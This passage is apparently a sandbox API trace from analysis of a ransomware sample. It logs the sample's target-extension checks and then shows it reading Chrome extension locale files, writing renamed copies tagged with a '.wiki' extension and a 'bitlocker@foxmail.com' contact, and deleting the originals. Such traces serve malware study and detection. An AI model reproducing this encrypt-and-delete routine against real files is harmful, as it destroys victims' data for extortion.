Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ja\\messages.json") returned 151 [0176.918] lstrlenW (lpString=".zip") returned 4 [0176.918] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0176.918] lstrlenW (lpString=".rar") returned 4 [0176.918] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0176.918] lstrlenW (lpString=".bz2") returned 4 [0176.918] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0176.918] lstrlenW (lpString=".7z") returned 3 [0176.918] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0176.918] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ja\\messages.json") returned 151 [0176.918] lstrlenW (lpString=".dbf") returned 4 [0176.918] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0176.918] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ja\\messages.json") returned 151 [0176.918] lstrlenW (lpString=".1cd") returned 4 [0176.918] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0176.918] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ja\\messages.json") returned 151 [0176.918] lstrlenW (lpString=".jpg") returned 4 [0176.918] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0176.919] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ja\\messages.json") returned 151 [0176.919] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ja\\messages.json") returned 151 [0176.919] lstrlenW (lpString=".doc") returned 4 [0176.919] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0176.919] lstrlenW (lpString=".docx") returned 5 [0176.919] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0176.919] lstrlenW (lpString=".pdf") returned 4 [0176.919] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0176.919] lstrlenW (lpString=".xls") returned 4 [0176.919] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0176.919] lstrlenW (lpString=".xlsx") returned 5 [0176.919] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0176.919] lstrlenW (lpString=".ppt") returned 4 [0176.919] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0176.919] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ja\\messages.json") returned 151 [0176.919] lstrlenW (lpString=".zip") returned 4 [0176.919] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0176.919] lstrlenW (lpString=".rar") returned 4 [0176.919] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0176.919] lstrlenW (lpString=".bz2") returned 4 [0176.919] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0176.919] lstrlenW (lpString=".7z") returned 3 [0176.919] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0176.919] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ja\\messages.json") returned 151 [0176.919] lstrlenW (lpString=".dbf") returned 4 [0176.919] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0176.919] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ja\\messages.json") returned 151 [0177.209] lstrlenW (lpString=".1cd") returned 4 [0177.209] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0177.209] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ja\\messages.json") returned 151 [0177.209] lstrlenW (lpString=".jpg") returned 4 [0177.209] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0177.209] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0177.209] lstrlenW (lpString="messages.json") returned 13 [0177.209] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ne\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ne\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0177.210] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=523) returned 1 [0177.210] CloseHandle (hObject=0x1ac) returned 1 [0177.210] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ne\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ne\\messages.json")) returned 0x2020 [0177.210] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ne\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ne\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0177.210] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ne\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ne\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0177.210] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.210] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.211] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ne\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ne\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0177.211] GetLastError () returned 0x0 [0177.211] ReadFile (in: hFile=0x1ac, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x20b, lpOverlapped=0x0) returned 1 [0177.213] WriteFile (in: hFile=0x1a0, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0x210, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0x210, lpOverlapped=0x0) returned 1 [0177.214] ReadFile (in: hFile=0x1ac, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0177.214] WriteFile (in: hFile=0x1a0, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xee, lpOverlapped=0x0) returned 1 [0177.214] SetEndOfFile (hFile=0x1a0) returned 1 [0177.214] CloseHandle (hObject=0x1a0) returned 1 [0177.214] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.214] SetEndOfFile (hFile=0x1ac) returned 1 [0177.215] CloseHandle (hObject=0x1ac) returned 1 [0177.215] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ne\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0177.215] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ne\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ne\\messages.json")) returned 1 [0177.215] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ne\\messages.json") returned 151 [0177.215] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ne\\messages.json") returned 151 [0177.215] lstrlenW (lpString=".doc") returned 4 [0177.215] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0177.215] lstrlenW (lpString=".docx") returned 5 [0177.215] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0177.215] lstrlenW (lpString=".pdf") returned 4 [0177.215] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0177.216] lstrlenW (lpString=".xls") returned 4 [0177.216] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0177.216] lstrlenW (lpString=".xlsx") returned 5 [0177.216] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0177.216] lstrlenW (lpString=".ppt") returned 4 [0177.216] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0177.216] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ne\\messages.json") returned 151 [0177.216] lstrlenW (lpString=".zip") returned 4 [0177.216] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0177.216] lstrlenW (lpString=".rar") returned 4 [0177.216] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0177.216] lstrlenW (lpString=".bz2") returned 4 [0177.216] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0177.216] lstrlenW (lpString=".7z") returned 3 [0177.216] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0177.216] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ne\\messages.json") returned 151 [0177.216] lstrlenW (lpString=".dbf") returned 4 [0177.216] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0177.216] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ne\\messages.json") returned 151 [0177.216] lstrlenW (lpString=".1cd") returned 4 [0177.216] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0177.216] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ne\\messages.json") returned 151 [0177.216] lstrlenW (lpString=".jpg") returned 4 [0177.216] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0177.216] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ne\\messages.json") returned 151 [0177.216] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ne\\messages.json") returned 151 [0177.216] lstrlenW (lpString=".doc") returned 4 [0177.216] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0177.216] lstrlenW (lpString=".docx") returned 5 [0177.217] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0177.217] lstrlenW (lpString=".pdf") returned 4 [0177.217] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0177.217] lstrlenW (lpString=".xls") returned 4 [0177.217] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0177.217] lstrlenW (lpString=".xlsx") returned 5 [0177.217] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0177.217] lstrlenW (lpString=".ppt") returned 4 [0177.217] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0177.217] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ne\\messages.json") returned 151 [0177.217] lstrlenW (lpString=".zip") returned 4 [0177.217] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0177.217] lstrlenW (lpString=".rar") returned 4 [0177.217] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0177.217] lstrlenW (lpString=".bz2") returned 4 [0177.217] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0177.217] lstrlenW (lpString=".7z") returned 3 [0177.217] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0177.217] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ne\\messages.json") returned 151 [0177.217] lstrlenW (lpString=".dbf") returned 4 [0177.217] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0177.217] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ne\\messages.json") returned 151 [0177.217] lstrlenW (lpString=".1cd") returned 4 [0177.217] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0177.217] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ne\\messages.json") returned 151 [0177.217] lstrlenW (lpString=".jpg") returned 4 [0177.217] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0177.218] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0177.218] lstrlenW (lpString="messages.json") returned 13 [0177.218] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\nl\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0177.218] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=177) returned 1 [0177.218] CloseHandle (hObject=0x1ac) returned 1 [0177.218] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\nl\\messages.json")) returned 0x2020 [0177.218] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\nl\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\nl\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0177.218] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\nl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0177.219] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.219] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.219] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\nl\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\nl\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0177.219] GetLastError () returned 0x0 [0177.219] ReadFile (in: hFile=0x1ac, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0xb1, lpOverlapped=0x0) returned 1 [0177.220] WriteFile (in: hFile=0x1a0, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xc0, lpOverlapped=0x0) returned 1 [0177.221] ReadFile (in: hFile=0x1ac, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0177.221] WriteFile (in: hFile=0x1a0, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xee, lpOverlapped=0x0) returned 1 [0177.221] SetEndOfFile (hFile=0x1a0) returned 1 [0177.221] CloseHandle (hObject=0x1a0) returned 1 [0177.221] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.221] SetEndOfFile (hFile=0x1ac) returned 1 [0177.222] CloseHandle (hObject=0x1ac) returned 1 [0177.222] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\nl\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0177.222] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\nl\\messages.json")) returned 1 [0177.223] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\nl\\messages.json") returned 151 [0177.223] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\nl\\messages.json") returned 151 [0177.223] lstrlenW (lpString=".doc") returned 4 [0177.223] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0177.223] lstrlenW (lpString=".docx") returned 5 [0177.223] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0177.223] lstrlenW (lpString=".pdf") returned 4 [0177.223] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0177.223] lstrlenW (lpString=".xls") returned 4 [0177.223] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0177.223] lstrlenW (lpString=".xlsx") returned 5 [0177.223] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0177.223] lstrlenW (lpString=".ppt") returned 4 [0177.223] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0177.223] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\nl\\messages.json") returned 151 [0177.223] lstrlenW (lpString=".zip") returned 4 [0177.223] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0177.223] lstrlenW (lpString=".rar") returned 4 [0177.223] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0177.223] lstrlenW (lpString=".bz2") returned 4 [0177.223] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0177.223] lstrlenW (lpString=".7z") returned 3 [0177.223] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0177.223] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\nl\\messages.json") returned 151 [0177.223] lstrlenW (lpString=".dbf") returned 4 [0177.223] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0177.223] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\nl\\messages.json") returned 151 [0177.223] lstrlenW (lpString=".1cd") returned 4 [0177.224] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0177.224] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\nl\\messages.json") returned 151 [0177.224] lstrlenW (lpString=".jpg") returned 4 [0177.224] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0177.224] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\nl\\messages.json") returned 151 [0177.224] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\nl\\messages.json") returned 151 [0177.224] lstrlenW (lpString=".doc") returned 4 [0177.224] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0177.224] lstrlenW (lpString=".docx") returned 5 [0177.224] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0177.224] lstrlenW (lpString=".pdf") returned 4 [0177.224] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0177.224] lstrlenW (lpString=".xls") returned 4 [0177.224] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0177.224] lstrlenW (lpString=".xlsx") returned 5 [0177.224] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0177.224] lstrlenW (lpString=".ppt") returned 4 [0177.224] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0177.224] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\nl\\messages.json") returned 151 [0177.224] lstrlenW (lpString=".zip") returned 4 [0177.224] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0177.224] lstrlenW (lpString=".rar") returned 4 [0177.224] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0177.224] lstrlenW (lpString=".bz2") returned 4 [0177.224] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0177.224] lstrlenW (lpString=".7z") returned 3 [0177.224] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0177.224] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 